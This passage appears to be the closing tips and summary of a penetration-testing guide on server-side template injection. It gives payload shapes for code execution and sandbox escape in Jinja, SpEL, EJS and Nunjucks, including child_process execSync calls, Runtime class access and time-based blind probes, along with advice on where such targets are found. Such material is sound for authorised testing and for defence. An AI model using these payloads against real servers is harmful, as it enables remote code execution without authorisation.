3. For Jinja, the highest-yield reachable global varies by framework (`request` in Flask, `config` always present, `cycler` in older Jinja); spray all three before walking subclasses
|
||||
4. SpEL is everywhere in Spring stacks — Thymeleaf, Spring Security expression language, Spring Cloud Gateway routes; the same payload shape (`${T(java.lang.Runtime)...}`) works across all of them
|
||||
5. EJS / Nunjucks are common in Express / Koa apps — `require('child_process').execSync('id')` if `require` is in scope (EJS), or escape via `range.constructor("return require('child_process')...")()` for Nunjucks; `process.mainModule.require(...)` is the older form, deprecated since Node 14
|
||||
6. Sandbox escapes are usually one indirection away — `attr` lookup, constructor traversal, MRO walk; most "sandboxed" environments still reach the runtime if you go through attribute access instead of direct reference
|
||||
7. Output not reflected? Time-based and OAST work as well as for SQLi — `${T(java.lang.Thread).sleep(5000)}` for SpEL, `{{cycler.__init__.__globals__.__import__('time').sleep(5)}}` (or the `request.application.__globals__.__builtins__` walk in Flask) for Jinja — bare `__import__` is not in the template namespace and will raise `UndefinedError`
|
||||
8. Email previews and PDF generators are gold mines — they're often built on the same engine as the public site but exposed to less-validated input flows
|
||||
|
||||
## Summary
|
||||
|
||||
SSTI is fundamentally different from XSS at the same syntactic location: the payload runs on the server, in the host language, with whatever objects the engine exposes. Engine fingerprinting via the math-probe table narrows the search space immediately. From there it's a race between the sandbox's denylist and the language's reflection capability — and the language usually wins. Treat any user input that reaches a template renderer (not a templated context variable) as RCE-shaped until proven sandboxed.
|
||||
Reference in New Issue
Block a user